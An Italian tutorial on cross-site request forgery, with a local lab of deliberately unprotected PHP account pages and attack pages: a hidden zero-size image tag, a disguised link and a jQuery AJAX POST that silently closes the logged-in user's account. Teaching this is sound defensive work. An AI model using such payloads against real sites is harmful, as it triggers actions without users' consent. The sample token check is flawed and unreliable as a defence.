XSRF (Cross Site Request Forgery)

Cos’è XSRF?

XSRF o CSRF (Cross Site Request Forgery), è un attacco informatico mirato, utilizzato per mandare richieste GET/POST ad un’applicazione web, attraverso il browser di un utente ignaro.
Utilizzando di conseguenza i permessi dell’utente e mantenendo un’interazione con il sito, come se lo script in esecuzione fosse l’utente vero e proprio.

XSRF è usato comunemente per confermare qualcosa, senza la consapevolezza dell’utente.
Ad esempio, mettiamo caso che Pippo voglia cancellare l’account hosting di Bob. E aggiungiamo che per farlo, è richiesto che sia Bob a dare conferma dal suo pannello utente.
Pippo non ha i permessi per cancellare l’account di Bob, dovrà quindi fare in modo che sia lui stesso a cancellarlo.

Ora ipotizziamo che per cancellare l’account sia sufficiente schiacciare un bottone, che a sua volta effettua una richiesta GET ad uno script, di questo tipo:

sitohosting.com/delaccount.php?confirm=yes

Qui entra in gioco l’XSRF.
Sarà sufficiente, far eseguire la richiesta a Bob, anche semplicemente facendogli visualizzare una pagina di questo tipo:

<img src="http://sitohosting.com/delaccount.php?confirm=yes" width="0" height="0">

Con la scusa che si tratti di un’immagine, un download o qualsiasi altra cosa.
Se Bob apre la pagina, è spacciato.

Un altro modo meno diretto, sarebbe di far clikkare un link semplice:

<a href="http://sitohosting.com/delaccount.php?confirm=yes">ciao</a>

Prevenire questo attacco:

Questo attacco si previene su due fronti. Quello client (quindi è l’utente tenuto a prestare attenzione, controllando con accortenza il percorso di alcuni collegamenti) e quello server (il servizio, deve fornire una piattaforma web che richieda delle conferme con ID, password o captcha, per questo tipo di operazioni):

<?php
//security.php
$id = createUniqueHash();
if ( $_GET['action'] == 'qualcosa' )
{
if ( $_GET['token'] == $id )
//fai questo;
else
die('Azione fallita: chiave non valida');
}
?>

Si raccomandata inoltre di usare una codifica base64/URL per passare parametri come refer, redirect etc. che verranno controllati dal codice, garantendo così la provenienza corretta di certe richieste.

Esempi di attacco

Attacco semplice con parametri in GET:

html (pagina usata per l’attacco, da mandare alla vittima):

<center>
<p>
 
L'utente ignaro arriva su questa pagina, e clikka casualmente un link qualsisasi della pagina:
 
<a href="pca-function.php?del">Link apparentemente innoquo!</a>
 
<br/>
A sua insaputa il link fa riferimento ad una risorsa che richiede necessariamente una sessione stabilita (e lui risulta attualmente loggato).
<br/><br/>
In questo caso, l'attacco parte quando l'utente fa click sul link apparentemente innoquo.<br>
Ma lo scenario può essere migliorato, facendo in modo che il link venga caricato già quando si apre questa pagina.<br/>
Ad esempio includendo il percorso: <b>pca-function.php?del</b>  direttamente nell'<em>src</em> del tag html <em>img</em>.<br/>
Ancora.. per operazioni più complesse, quali invio di dati in POST, si può utilizzare AJAX.</p>
</center>

login.php:

<?php
 
if (!isset($_SESSION)) {
 
session_id();
session_start();
 
$_SESSION['login'] = 1;
$_SESSION['utente'] = "Rocz";
echo "login effettuato";
}
 
?>

logout.php:

<?php
 
session_start();
$_SESSION = array();
session_destroy();
echo "Logout effettuato!";
 
?>

pca-function.php:

<?php
if (!isset($_SESSION)) { session_start(); }
 
if (@$_SESSION['login']){
 
if (isset($_GET['del'])) {
echo "...CHIUSURA ACCOUNT UTENTE: ".$_SESSION['utente'];
//... ALTRE OPERAZIONI PER LA CANCELLAZIONE DEL RECORD DAL DB ad esempio ...
 
}
else{
echo "Per chiudere il tuo account clikka questo link: <a href='pca-function.php?del'>CHIUDI ACCOUNT</a>";
//... ALTRE FUNZIONI RAGGIUNGIBILI DAL PANNELLO UTENTE ...
}
 
}else{
echo "Permessi negati. Non hai effettuato il login.";
}
 
 
?>

L’utente in questo primo esempio, effettuerà il login utilizzando login.php, in questo modo potrà accedere al suo pannello: pca-function.php.
Poi sarà portato dall’attaccante a clikkare un link sulla pagina in html, nel mentre la sua sessione con il sito bersaglio è attiva.

Complichiamo adesso un pò le cose, ipotizzando che per la chiusura dell’account sia necessario schiacciare un bottone ed effettuare dunque una richiesta in POST.
Attacco in AJAX con parametri in POST:

login.php:

<?php
 
if (!isset($_SESSION)) {
 
session_id();
session_start();
 
$_SESSION['login'] = 1;
$_SESSION['utente'] = "Rocz";
echo "login effettuato";
}
 
?>

logout.php:

<?php
 
session_start();
$_SESSION = array();
session_destroy();
echo "Logout effettuato!";
 
?>

pca-function.php:

<?php //questa è la versione in POST
if (!isset($_SESSION)) { session_start(); }
 
if (@$_SESSION['login']){
 
if (file_exists("accountChiuso.txt"))
die("Il tuo ACCOUNT utente è stato chiuso!   (rimuovi il file accountChiuso.txt se vuoi eseguire ancora il test)");
 
if (isset($_POST['account'])) {
 
      if ($_POST['account'] == 1){
        echo "...CHIUSURA ACCOUNT UTENTE: ".$_SESSION['utente'];
		$ourFileName = "accountChiuso.txt"; //creiamo un file fittizio per simulare la chiusura dell'account
        $ourFileHandle = fopen($ourFileName, 'w') or die("can't open file");
        fclose($ourFileHandle);
        //... ALTRE OPERAZIONI PER LA CANCELLAZIONE DEL RECORD DAL DB ad esempio ...
                            }
 
}
else{
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" name="form1">
 
    <fieldset>
        <legend>Chiudere l'account?</legend>
        SI <input type="radio" name="account" value="1" />
        NO  <input type="radio" name="account" value="0" checked="checked"/>
    </fieldset>
 
<br/><br/>
<input type="submit" name="send" id="send" value="Elimina Account" />
 
</form>
<?php
//... ALTRE FUNZIONI DEL PANNELLO UTENTE ...
}
 
}else{
echo "Permessi negati. Non hai effettuato il login. <a href='login.php'>Effettua Login</a>.";
}
 
?>

AJAX exploit:

<html>
<head>
<title>XSRF Attack</title>
 
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" type="text/javascript"></script>
 
<script>
 
$(function() {
$("#attack").click(function() {
 
var request = $.ajax({
  type: "POST",
  url: "pca-function.php",
  data: { account : "1" },
  success: function(data){ $("#log").html( data ); }
});
 
 
});
 
});
 
</script>
 
</head>
<body>
 
<center>
<br/>
<div id="attack"><a href="">Link apparentemente innoquo!</a></div>
<br/>
<br/>
<div id="log"></div>
 
<br/>
A sua insaputa il link fa riferimento ad una risorsa che richiede necessariamente una sessione stabilita (e lui risulta attualmente loggato).
<br/></center>
</body>
 
</html>

Per iniziare con questo test, è necessario che le pagine risiedano su un vostro webserver e che disponiate di una connessione internet stabilita (jQuery è richiamato esternamente).
Iniziamo dicendo che, l’utente ignaro arriva su questa pagina, ed ha già effettuato l’accesso al sito in un’altra pagina.
E clikka casualmente un link qualsisasi di questa pagina, che manderà una richiesta in POST al pca-function.php (l’utente non si accorgerà di nulla).

A sua insaputa il link fa riferimento ad una risorsa che richiede necessariamente una sessione stabilita (e lui risulta attualmente loggato).

In questo caso, l’attacco parte quando l’utente fa click sul link apparentemente innoquo.
Ma lo scenario può essere migliorato, facendo in modo che il link venga caricato già quando si apre questa pagina.
Ancora.. per operazioni più semplici, quali invio di dati in GET, si può evitare anche di utilizzare AJAX.
Se l’attacco ha successo, l’utente non sarà più in grado (in questo caso) di accedere al suo account da pca-function.php.
Sempre in questo caso, per far si che abbia successo l’attacco, l’utente deve aver effettuato prima il login, andando su login.php

In sintesi si traduce in:
E’ sufficiente avere dei cookie di sessione attivi con un qualsiasi sito, e se non ci sono controlli specifici, un attaccante facendoci aprire una singola pagina,
può anche lanciare richieste come se avesse accesso diretto al nostro account.

Come già spiegato, le richieste inviate in AJAX sono lanciate dallo stesso browser, ed i cookie sono ancora validi.

Potete scaricare l’archivio .zip con gli esempi COMPLETI da qui: DOWNLOAD.

Requisiti per un attacco XSRF

Diversi requisiti sono necessari per far si che un attacco cross-site request forgery abbia successo:

– Il sito bersaglio non deve avere alcun controllo sul campo referer nell’header.
– L’attaccante deve trovare sul sito bersaglio, un form o un URL che venga processato lato server.
– L’attaccante deve determinare i giusti valori per tutti i campi di un eventuale form o URL; se uno di questi è un ID, una password, un captcha o un qualcosa che non si può determinare a priori, l’attacco fallisce.
– Bisogna convincere l’utente bersaglio a visitare una pagina web con del codice malevolo scritto a puntino per la piattaforma web su cui l’utente è registrato e attualmente loggato.

Nota bene: una attacco di questo tipo è detto blind (alla cieca); perchè l’attaccante non vede cosa restituirà il sito web come risposta alla vittima e alla nostra richiesta “malevola”, a meno che non sfrutti altre tecniche come XSS, o bug sul sito.
Dunque è importante avere in anticipo una visione ben dettagliata dello scenario.

Torna all'inizio